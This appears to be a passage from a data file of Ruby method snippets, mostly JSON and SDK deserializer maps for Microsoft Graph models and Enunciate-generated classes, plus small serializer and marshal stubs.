if !_o['fileName'].nil?\n _oa = _o['fileName']\n if(_oa.is_a? Hash)\n @fileName = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @fileName = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @fileName = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @fileName.push String.from_json(_item)\n else\n @fileName.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @fileName = _oa\n end\n end\n end",
"def serializer(name)\n @_serializer = name <= Malba::Serializer ? name : nil\n end",
"def get_field_deserializers()\n return super.merge({\n \"applicableArchitectures\" => lambda {|n| @applicable_architectures = n.get_enum_value(MicrosoftGraph::Models::WindowsArchitecture) },\n \"applicableDeviceTypes\" => lambda {|n| @applicable_device_types = n.get_enum_value(MicrosoftGraph::Models::WindowsDeviceType) },\n \"committedContainedApps\" => lambda {|n| @committed_contained_apps = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::MobileContainedApp.create_from_discriminator_value(pn) }) },\n \"identityName\" => lambda {|n| @identity_name = n.get_string_value() },\n \"identityPublisherHash\" => lambda {|n| @identity_publisher_hash = n.get_string_value() },\n \"identityResourceIdentifier\" => lambda {|n| @identity_resource_identifier = n.get_string_value() },\n \"identityVersion\" => lambda {|n| @identity_version = n.get_string_value() },\n \"isBundle\" => lambda {|n| @is_bundle = n.get_boolean_value() },\n \"minimumSupportedOperatingSystem\" => lambda {|n| @minimum_supported_operating_system = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::WindowsMinimumOperatingSystem.create_from_discriminator_value(pn) }) },\n })\n end",
"def serialize(arg)\n raise NotImplementedError\n end",
"def transmission; end",
"def get_field_deserializers()\n return {\n \"callEndSubReason\" => lambda {|n| @call_end_sub_reason = n.get_number_value() },\n \"callType\" => lambda {|n| @call_type = n.get_string_value() },\n \"calleeNumber\" => lambda {|n| @callee_number = n.get_string_value() },\n \"callerNumber\" => lambda {|n| @caller_number = n.get_string_value() },\n \"correlationId\" => lambda {|n| @correlation_id = n.get_string_value() },\n \"duration\" => lambda {|n| @duration = n.get_number_value() },\n \"endDateTime\" => lambda {|n| @end_date_time = n.get_date_time_value() },\n \"failureDateTime\" => lambda {|n| @failure_date_time = n.get_date_time_value() },\n \"finalSipCode\" => lambda {|n| @final_sip_code = n.get_number_value() },\n \"finalSipCodePhrase\" => lambda {|n| @final_sip_code_phrase = n.get_string_value() },\n \"id\" => lambda {|n| @id = n.get_string_value() },\n \"inviteDateTime\" => lambda {|n| @invite_date_time = n.get_date_time_value() },\n \"mediaBypassEnabled\" => lambda {|n| @media_bypass_enabled = n.get_boolean_value() },\n \"mediaPathLocation\" => lambda {|n| @media_path_location = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"signalingLocation\" => lambda {|n| @signaling_location = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n \"successfulCall\" => lambda {|n| @successful_call = n.get_boolean_value() },\n \"trunkFullyQualifiedDomainName\" => lambda {|n| @trunk_fully_qualified_domain_name = n.get_string_value() },\n \"userDisplayName\" => lambda {|n| @user_display_name = n.get_string_value() },\n \"userId\" => lambda {|n| @user_id = n.get_string_value() },\n \"userPrincipalName\" => lambda {|n| @user_principal_name = n.get_string_value() },\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"apps\" => lambda {|n| @apps = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ManagedMobileApp.create_from_discriminator_value(pn) }) },\n \"customBrowserDisplayName\" => lambda {|n| @custom_browser_display_name = n.get_string_value() },\n \"customBrowserPackageId\" => lambda {|n| @custom_browser_package_id = n.get_string_value() },\n \"deployedAppCount\" => lambda {|n| @deployed_app_count = n.get_number_value() },\n \"deploymentSummary\" => lambda {|n| @deployment_summary = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ManagedAppPolicyDeploymentSummary.create_from_discriminator_value(pn) }) },\n \"disableAppEncryptionIfDeviceEncryptionIsEnabled\" => lambda {|n| @disable_app_encryption_if_device_encryption_is_enabled = n.get_boolean_value() },\n \"encryptAppData\" => lambda {|n| @encrypt_app_data = n.get_boolean_value() },\n \"minimumRequiredPatchVersion\" => lambda {|n| @minimum_required_patch_version = n.get_string_value() },\n \"minimumWarningPatchVersion\" => lambda {|n| @minimum_warning_patch_version = n.get_string_value() },\n \"screenCaptureBlocked\" => lambda {|n| @screen_capture_blocked = n.get_boolean_value() },\n })\n end",
"def init_jaxb_json_hash(_o)\n super _o\n if !_o['merchantPaymentMethodId'].nil?\n _oa = _o['merchantPaymentMethodId']\n if(_oa.is_a? Hash)\n @merchantPaymentMethodId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @merchantPaymentMethodId = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @merchantPaymentMethodId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @merchantPaymentMethodId.push String.from_json(_item)\n else\n @merchantPaymentMethodId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @merchantPaymentMethodId = _oa\n end\n end\n if !_o['enabled'].nil?\n _oa = _o['enabled']\n if(_oa.is_a? Hash)\n @enabled = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @enabled = Boolean.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @enabled = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @enabled.push Boolean.from_json(_item)\n else\n @enabled.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @enabled = _oa\n end\n end\n if !_o['billingAddress'].nil?\n _oa = _o['billingAddress']\n if(_oa.is_a? Hash)\n @billingAddress = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @billingAddress = Com::Hybris::Cis::Api::Model::CisAddress.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @billingAddress = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @billingAddress.push Com::Hybris::Cis::Api::Model::CisAddress.from_json(_item)\n else\n @billingAddress.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @billingAddress = _oa\n end\n end\n if !_o['propagate'].nil?\n _oa = _o['propagate']\n if(_oa.is_a? Hash)\n @propagate = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @propagate = Boolean.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @propagate = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @propagate.push Boolean.from_json(_item)\n else\n @propagate.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @propagate = _oa\n end\n end\n end",
"def serialize_default(object); object; end",
"def get_field_deserializers()\n return super.merge({\n \"installIntent\" => lambda {|n| @install_intent = n.get_enum_value(MicrosoftGraph::Models::InstallIntent) },\n \"target\" => lambda {|n| @target = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::DeviceAndAppManagementAssignmentTarget.create_from_discriminator_value(pn) }) },\n })\n end",
"def encode_with(coder_) # :nodoc:\n data_ = marshal_dump\n coder_['format'] = data_[0]\n if data_[1].kind_of?(::String)\n coder_['value'] = data_[1]\n coder_['parse_params'] = data_[2] if data_[2]\n else\n coder_['fields'] = data_[1]\n coder_['unparse_params'] = data_[2] if data_[2]\n end\n end",
"def get_field_deserializers()\n return super.merge({\n \"accessPackage\" => lambda {|n| @access_package = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::AccessPackage.create_from_discriminator_value(pn) }) },\n \"answers\" => lambda {|n| @answers = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AccessPackageAnswer.create_from_discriminator_value(pn) }) },\n \"assignment\" => lambda {|n| @assignment = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::AccessPackageAssignment.create_from_discriminator_value(pn) }) },\n \"completedDateTime\" => lambda {|n| @completed_date_time = n.get_date_time_value() },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"customExtensionCalloutInstances\" => lambda {|n| @custom_extension_callout_instances = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::CustomExtensionCalloutInstance.create_from_discriminator_value(pn) }) },\n \"requestType\" => lambda {|n| @request_type = n.get_enum_value(MicrosoftGraph::Models::AccessPackageRequestType) },\n \"requestor\" => lambda {|n| @requestor = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::AccessPackageSubject.create_from_discriminator_value(pn) }) },\n \"schedule\" => lambda {|n| @schedule = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::EntitlementManagementSchedule.create_from_discriminator_value(pn) }) },\n \"state\" => lambda {|n| @state = n.get_enum_value(MicrosoftGraph::Models::AccessPackageRequestState) },\n \"status\" => lambda {|n| @status = n.get_string_value() },\n })\n end",
"def marshal_dump\n data\n end",
"def marshallable!\n @this = nil\n self\n end",
"def marshallable!\n @this = nil\n self\n end",
"def init_jaxb_json_hash(_o)\n super _o\n if !_o['emailId'].nil?\n _oa = _o['emailId']\n if(_oa.is_a? Hash)\n @emailId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @emailId = Fixnum.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @emailId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @emailId.push Fixnum.from_json(_item)\n else\n @emailId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @emailId = _oa\n end\n end\n if !_o['type'].nil?\n _oa = _o['type']\n if(_oa.is_a? Hash)\n @type = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @type = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @type = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @type.push String.from_json(_item)\n else\n @type.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @type = _oa\n end\n end\n if !_o['value'].nil?\n _oa = _o['value']\n if(_oa.is_a? Hash)\n @value = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @value = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @value = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @value.push String.from_json(_item)\n else\n @value.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @value = _oa\n end\n end\n if !_o['primary'].nil?\n _oa = _o['primary']\n if(_oa.is_a? Hash)\n @primary = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @primary = Boolean.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @primary = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @primary.push Boolean.from_json(_item)\n else\n @primary.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @primary = _oa\n end\n end\n end",
"def get_field_deserializers()\n return super.merge({\n \"certificateData\" => lambda {|n| @certificate_data = n.get_string_value() },\n \"developerId\" => lambda {|n| @developer_id = n.get_string_value() },\n \"keyId\" => lambda {|n| @key_id = n.get_string_value() },\n \"serviceId\" => lambda {|n| @service_id = n.get_string_value() },\n })\n end",
"def pack\n serialize(method: @method_name, args: @args)\n end",
"def get_field_deserializers()\n return super.merge({\n \"audioDeviceName\" => lambda {|n| @audio_device_name = n.get_string_value() },\n \"bookingType\" => lambda {|n| @booking_type = n.get_enum_value(MicrosoftGraph::Models::BookingType) },\n \"building\" => lambda {|n| @building = n.get_string_value() },\n \"capacity\" => lambda {|n| @capacity = n.get_number_value() },\n \"displayDeviceName\" => lambda {|n| @display_device_name = n.get_string_value() },\n \"emailAddress\" => lambda {|n| @email_address = n.get_string_value() },\n \"floorLabel\" => lambda {|n| @floor_label = n.get_string_value() },\n \"floorNumber\" => lambda {|n| @floor_number = n.get_number_value() },\n \"isWheelChairAccessible\" => lambda {|n| @is_wheel_chair_accessible = n.get_boolean_value() },\n \"label\" => lambda {|n| @label = n.get_string_value() },\n \"nickname\" => lambda {|n| @nickname = n.get_string_value() },\n \"tags\" => lambda {|n| @tags = n.get_collection_of_primitive_values(String) },\n \"videoDeviceName\" => lambda {|n| @video_device_name = n.get_string_value() },\n })\n end",
"def serialize!(object, serializer_instance)\n serializer = serializer(object, serializer_instance)\n return unless serializer\n serializer.call(object)\n end",
"def markMarshalledObj( obj, soapObj )\n Thread.current[ :SOAPMarshalDataKey ][ obj.__id__ ] = soapObj\n end",
"def get_field_deserializers()\n return super.merge({\n \"connectorServerName\" => lambda {|n| @connector_server_name = n.get_string_value() },\n \"exchangeAlias\" => lambda {|n| @exchange_alias = n.get_string_value() },\n \"exchangeConnectorType\" => lambda {|n| @exchange_connector_type = n.get_enum_value(MicrosoftGraph::Models::DeviceManagementExchangeConnectorType) },\n \"exchangeOrganization\" => lambda {|n| @exchange_organization = n.get_string_value() },\n \"lastSyncDateTime\" => lambda {|n| @last_sync_date_time = n.get_date_time_value() },\n \"primarySmtpAddress\" => lambda {|n| @primary_smtp_address = n.get_string_value() },\n \"serverName\" => lambda {|n| @server_name = n.get_string_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::DeviceManagementExchangeConnectorStatus) },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"accountBlockModification\" => lambda {|n| @account_block_modification = n.get_boolean_value() },\n \"activationLockAllowWhenSupervised\" => lambda {|n| @activation_lock_allow_when_supervised = n.get_boolean_value() },\n \"airDropBlocked\" => lambda {|n| @air_drop_blocked = n.get_boolean_value() },\n \"airDropForceUnmanagedDropTarget\" => lambda {|n| @air_drop_force_unmanaged_drop_target = n.get_boolean_value() },\n \"airPlayForcePairingPasswordForOutgoingRequests\" => lambda {|n| @air_play_force_pairing_password_for_outgoing_requests = n.get_boolean_value() },\n \"appStoreBlockAutomaticDownloads\" => lambda {|n| @app_store_block_automatic_downloads = n.get_boolean_value() },\n \"appStoreBlockInAppPurchases\" => lambda {|n| @app_store_block_in_app_purchases = n.get_boolean_value() },\n \"appStoreBlockUIAppInstallation\" => lambda {|n| @app_store_block_u_i_app_installation = n.get_boolean_value() },\n \"appStoreBlocked\" => lambda {|n| @app_store_blocked = n.get_boolean_value() },\n \"appStoreRequirePassword\" => lambda {|n| @app_store_require_password = n.get_boolean_value() },\n \"appleNewsBlocked\" => lambda {|n| @apple_news_blocked = n.get_boolean_value() },\n \"appleWatchBlockPairing\" => lambda {|n| @apple_watch_block_pairing = n.get_boolean_value() },\n \"appleWatchForceWristDetection\" => lambda {|n| @apple_watch_force_wrist_detection = n.get_boolean_value() },\n \"appsSingleAppModeList\" => lambda {|n| @apps_single_app_mode_list = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AppListItem.create_from_discriminator_value(pn) }) },\n \"appsVisibilityList\" => lambda {|n| @apps_visibility_list = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AppListItem.create_from_discriminator_value(pn) }) },\n \"appsVisibilityListType\" => lambda {|n| @apps_visibility_list_type = n.get_enum_value(MicrosoftGraph::Models::AppListType) },\n \"bluetoothBlockModification\" => lambda {|n| @bluetooth_block_modification = n.get_boolean_value() },\n \"cameraBlocked\" => lambda {|n| @camera_blocked = n.get_boolean_value() },\n \"cellularBlockDataRoaming\" => lambda {|n| @cellular_block_data_roaming = n.get_boolean_value() },\n \"cellularBlockGlobalBackgroundFetchWhileRoaming\" => lambda {|n| @cellular_block_global_background_fetch_while_roaming = n.get_boolean_value() },\n \"cellularBlockPerAppDataModification\" => lambda {|n| @cellular_block_per_app_data_modification = n.get_boolean_value() },\n \"cellularBlockPersonalHotspot\" => lambda {|n| @cellular_block_personal_hotspot = n.get_boolean_value() },\n \"cellularBlockVoiceRoaming\" => lambda {|n| @cellular_block_voice_roaming = n.get_boolean_value() },\n \"certificatesBlockUntrustedTlsCertificates\" => lambda {|n| @certificates_block_untrusted_tls_certificates = n.get_boolean_value() },\n \"classroomAppBlockRemoteScreenObservation\" => lambda {|n| @classroom_app_block_remote_screen_observation = n.get_boolean_value() },\n \"classroomAppForceUnpromptedScreenObservation\" => lambda {|n| @classroom_app_force_unprompted_screen_observation = n.get_boolean_value() },\n \"compliantAppListType\" => lambda {|n| @compliant_app_list_type = n.get_enum_value(MicrosoftGraph::Models::AppListType) },\n \"compliantAppsList\" => lambda {|n| @compliant_apps_list = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AppListItem.create_from_discriminator_value(pn) }) },\n \"configurationProfileBlockChanges\" => lambda {|n| @configuration_profile_block_changes = n.get_boolean_value() },\n \"definitionLookupBlocked\" => lambda {|n| @definition_lookup_blocked = n.get_boolean_value() },\n \"deviceBlockEnableRestrictions\" => lambda {|n| @device_block_enable_restrictions = n.get_boolean_value() },\n \"deviceBlockEraseContentAndSettings\" => lambda {|n| @device_block_erase_content_and_settings = n.get_boolean_value() },\n \"deviceBlockNameModification\" => lambda {|n| @device_block_name_modification = n.get_boolean_value() },\n \"diagnosticDataBlockSubmission\" => lambda {|n| @diagnostic_data_block_submission = n.get_boolean_value() },\n \"diagnosticDataBlockSubmissionModification\" => lambda {|n| @diagnostic_data_block_submission_modification = n.get_boolean_value() },\n \"documentsBlockManagedDocumentsInUnmanagedApps\" => lambda {|n| @documents_block_managed_documents_in_unmanaged_apps = n.get_boolean_value() },\n \"documentsBlockUnmanagedDocumentsInManagedApps\" => lambda {|n| @documents_block_unmanaged_documents_in_managed_apps = n.get_boolean_value() },\n \"emailInDomainSuffixes\" => lambda {|n| @email_in_domain_suffixes = n.get_collection_of_primitive_values(String) },\n \"enterpriseAppBlockTrust\" => lambda {|n| @enterprise_app_block_trust = n.get_boolean_value() },\n \"enterpriseAppBlockTrustModification\" => lambda {|n| @enterprise_app_block_trust_modification = n.get_boolean_value() },\n \"faceTimeBlocked\" => lambda {|n| @face_time_blocked = n.get_boolean_value() },\n \"findMyFriendsBlocked\" => lambda {|n| @find_my_friends_blocked = n.get_boolean_value() },\n \"gameCenterBlocked\" => lambda {|n| @game_center_blocked = n.get_boolean_value() },\n \"gamingBlockGameCenterFriends\" => lambda {|n| @gaming_block_game_center_friends = n.get_boolean_value() },\n \"gamingBlockMultiplayer\" => lambda {|n| @gaming_block_multiplayer = n.get_boolean_value() },\n \"hostPairingBlocked\" => lambda {|n| @host_pairing_blocked = n.get_boolean_value() },\n \"iBooksStoreBlockErotica\" => lambda {|n| @i_books_store_block_erotica = n.get_boolean_value() },\n \"iBooksStoreBlocked\" => lambda {|n| @i_books_store_blocked = n.get_boolean_value() },\n \"iCloudBlockActivityContinuation\" => lambda {|n| @i_cloud_block_activity_continuation = n.get_boolean_value() },\n \"iCloudBlockBackup\" => lambda {|n| @i_cloud_block_backup = n.get_boolean_value() },\n \"iCloudBlockDocumentSync\" => lambda {|n| @i_cloud_block_document_sync = n.get_boolean_value() },\n \"iCloudBlockManagedAppsSync\" => lambda {|n| @i_cloud_block_managed_apps_sync = n.get_boolean_value() },\n \"iCloudBlockPhotoLibrary\" => lambda {|n| @i_cloud_block_photo_library = n.get_boolean_value() },\n \"iCloudBlockPhotoStreamSync\" => lambda {|n| @i_cloud_block_photo_stream_sync = n.get_boolean_value() },\n \"iCloudBlockSharedPhotoStream\" => lambda {|n| @i_cloud_block_shared_photo_stream = n.get_boolean_value() },\n \"iCloudRequireEncryptedBackup\" => lambda {|n| @i_cloud_require_encrypted_backup = n.get_boolean_value() },\n \"iTunesBlockExplicitContent\" => lambda {|n| @i_tunes_block_explicit_content = n.get_boolean_value() },\n \"iTunesBlockMusicService\" => lambda {|n| @i_tunes_block_music_service = n.get_boolean_value() },\n \"iTunesBlockRadio\" => lambda {|n| @i_tunes_block_radio = n.get_boolean_value() },\n \"keyboardBlockAutoCorrect\" => lambda {|n| @keyboard_block_auto_correct = n.get_boolean_value() },\n \"keyboardBlockDictation\" => lambda {|n| @keyboard_block_dictation = n.get_boolean_value() },\n \"keyboardBlockPredictive\" => lambda {|n| @keyboard_block_predictive = n.get_boolean_value() },\n \"keyboardBlockShortcuts\" => lambda {|n| @keyboard_block_shortcuts = n.get_boolean_value() },\n \"keyboardBlockSpellCheck\" => lambda {|n| @keyboard_block_spell_check = n.get_boolean_value() },\n \"kioskModeAllowAssistiveSpeak\" => lambda {|n| @kiosk_mode_allow_assistive_speak = n.get_boolean_value() },\n \"kioskModeAllowAssistiveTouchSettings\" => lambda {|n| @kiosk_mode_allow_assistive_touch_settings = n.get_boolean_value() },\n \"kioskModeAllowAutoLock\" => lambda {|n| @kiosk_mode_allow_auto_lock = n.get_boolean_value() },\n \"kioskModeAllowColorInversionSettings\" => lambda {|n| @kiosk_mode_allow_color_inversion_settings = n.get_boolean_value() },\n \"kioskModeAllowRingerSwitch\" => lambda {|n| @kiosk_mode_allow_ringer_switch = n.get_boolean_value() },\n \"kioskModeAllowScreenRotation\" => lambda {|n| @kiosk_mode_allow_screen_rotation = n.get_boolean_value() },\n \"kioskModeAllowSleepButton\" => lambda {|n| @kiosk_mode_allow_sleep_button = n.get_boolean_value() },\n \"kioskModeAllowTouchscreen\" => lambda {|n| @kiosk_mode_allow_touchscreen = n.get_boolean_value() },\n \"kioskModeAllowVoiceOverSettings\" => lambda {|n| @kiosk_mode_allow_voice_over_settings = n.get_boolean_value() },\n \"kioskModeAllowVolumeButtons\" => lambda {|n| @kiosk_mode_allow_volume_buttons = n.get_boolean_value() },\n \"kioskModeAllowZoomSettings\" => lambda {|n| @kiosk_mode_allow_zoom_settings = n.get_boolean_value() },\n \"kioskModeAppStoreUrl\" => lambda {|n| @kiosk_mode_app_store_url = n.get_string_value() },\n \"kioskModeBuiltInAppId\" => lambda {|n| @kiosk_mode_built_in_app_id = n.get_string_value() },\n \"kioskModeManagedAppId\" => lambda {|n| @kiosk_mode_managed_app_id = n.get_string_value() },\n \"kioskModeRequireAssistiveTouch\" => lambda {|n| @kiosk_mode_require_assistive_touch = n.get_boolean_value() },\n \"kioskModeRequireColorInversion\" => lambda {|n| @kiosk_mode_require_color_inversion = n.get_boolean_value() },\n \"kioskModeRequireMonoAudio\" => lambda {|n| @kiosk_mode_require_mono_audio = n.get_boolean_value() },\n \"kioskModeRequireVoiceOver\" => lambda {|n| @kiosk_mode_require_voice_over = n.get_boolean_value() },\n \"kioskModeRequireZoom\" => lambda {|n| @kiosk_mode_require_zoom = n.get_boolean_value() },\n \"lockScreenBlockControlCenter\" => lambda {|n| @lock_screen_block_control_center = n.get_boolean_value() },\n \"lockScreenBlockNotificationView\" => lambda {|n| @lock_screen_block_notification_view = n.get_boolean_value() },\n \"lockScreenBlockPassbook\" => lambda {|n| @lock_screen_block_passbook = n.get_boolean_value() },\n \"lockScreenBlockTodayView\" => lambda {|n| @lock_screen_block_today_view = n.get_boolean_value() },\n \"mediaContentRatingApps\" => lambda {|n| @media_content_rating_apps = n.get_enum_value(MicrosoftGraph::Models::RatingAppsType) },\n \"mediaContentRatingAustralia\" => lambda {|n| @media_content_rating_australia = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingAustralia.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingCanada\" => lambda {|n| @media_content_rating_canada = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingCanada.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingFrance\" => lambda {|n| @media_content_rating_france = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingFrance.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingGermany\" => lambda {|n| @media_content_rating_germany = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingGermany.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingIreland\" => lambda {|n| @media_content_rating_ireland = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingIreland.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingJapan\" => lambda {|n| @media_content_rating_japan = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingJapan.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingNewZealand\" => lambda {|n| @media_content_rating_new_zealand = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingNewZealand.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingUnitedKingdom\" => lambda {|n| @media_content_rating_united_kingdom = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingUnitedKingdom.create_from_discriminator_value(pn) }) },\n \"mediaContentRatingUnitedStates\" => lambda {|n| @media_content_rating_united_states = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::MediaContentRatingUnitedStates.create_from_discriminator_value(pn) }) },\n \"messagesBlocked\" => lambda {|n| @messages_blocked = n.get_boolean_value() },\n \"networkUsageRules\" => lambda {|n| @network_usage_rules = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::IosNetworkUsageRule.create_from_discriminator_value(pn) }) },\n \"notificationsBlockSettingsModification\" => lambda {|n| @notifications_block_settings_modification = n.get_boolean_value() },\n \"passcodeBlockFingerprintModification\" => lambda {|n| @passcode_block_fingerprint_modification = n.get_boolean_value() },\n \"passcodeBlockFingerprintUnlock\" => lambda {|n| @passcode_block_fingerprint_unlock = n.get_boolean_value() },\n \"passcodeBlockModification\" => lambda {|n| @passcode_block_modification = n.get_boolean_value() },\n \"passcodeBlockSimple\" => lambda {|n| @passcode_block_simple = n.get_boolean_value() },\n \"passcodeExpirationDays\" => lambda {|n| @passcode_expiration_days = n.get_number_value() },\n \"passcodeMinimumCharacterSetCount\" => lambda {|n| @passcode_minimum_character_set_count = n.get_number_value() },\n \"passcodeMinimumLength\" => lambda {|n| @passcode_minimum_length = n.get_number_value() },\n \"passcodeMinutesOfInactivityBeforeLock\" => lambda {|n| @passcode_minutes_of_inactivity_before_lock = n.get_number_value() },\n \"passcodeMinutesOfInactivityBeforeScreenTimeout\" => lambda {|n| @passcode_minutes_of_inactivity_before_screen_timeout = n.get_number_value() },\n \"passcodePreviousPasscodeBlockCount\" => lambda {|n| @passcode_previous_passcode_block_count = n.get_number_value() },\n \"passcodeRequired\" => lambda {|n| @passcode_required = n.get_boolean_value() },\n \"passcodeRequiredType\" => lambda {|n| @passcode_required_type = n.get_enum_value(MicrosoftGraph::Models::RequiredPasswordType) },\n \"passcodeSignInFailureCountBeforeWipe\" => lambda {|n| @passcode_sign_in_failure_count_before_wipe = n.get_number_value() },\n \"podcastsBlocked\" => lambda {|n| @podcasts_blocked = n.get_boolean_value() },\n \"safariBlockAutofill\" => lambda {|n| @safari_block_autofill = n.get_boolean_value() },\n \"safariBlockJavaScript\" => lambda {|n| @safari_block_java_script = n.get_boolean_value() },\n \"safariBlockPopups\" => lambda {|n| @safari_block_popups = n.get_boolean_value() },\n \"safariBlocked\" => lambda {|n| @safari_blocked = n.get_boolean_value() },\n \"safariCookieSettings\" => lambda {|n| @safari_cookie_settings = n.get_enum_value(MicrosoftGraph::Models::WebBrowserCookieSettings) },\n \"safariManagedDomains\" => lambda {|n| @safari_managed_domains = n.get_collection_of_primitive_values(String) },\n \"safariPasswordAutoFillDomains\" => lambda {|n| @safari_password_auto_fill_domains = n.get_collection_of_primitive_values(String) },\n \"safariRequireFraudWarning\" => lambda {|n| @safari_require_fraud_warning = n.get_boolean_value() },\n \"screenCaptureBlocked\" => lambda {|n| @screen_capture_blocked = n.get_boolean_value() },\n \"siriBlockUserGeneratedContent\" => lambda {|n| @siri_block_user_generated_content = n.get_boolean_value() },\n \"siriBlocked\" => lambda {|n| @siri_blocked = n.get_boolean_value() },\n \"siriBlockedWhenLocked\" => lambda {|n| @siri_blocked_when_locked = n.get_boolean_value() },\n \"siriRequireProfanityFilter\" => lambda {|n| @siri_require_profanity_filter = n.get_boolean_value() },\n \"spotlightBlockInternetResults\" => lambda {|n| @spotlight_block_internet_results = n.get_boolean_value() },\n \"voiceDialingBlocked\" => lambda {|n| @voice_dialing_blocked = n.get_boolean_value() },\n \"wallpaperBlockModification\" => lambda {|n| @wallpaper_block_modification = n.get_boolean_value() },\n \"wiFiConnectOnlyToConfiguredNetworks\" => lambda {|n| @wi_fi_connect_only_to_configured_networks = n.get_boolean_value() },\n })\n end",
"def binder; end",
"def binder; end",
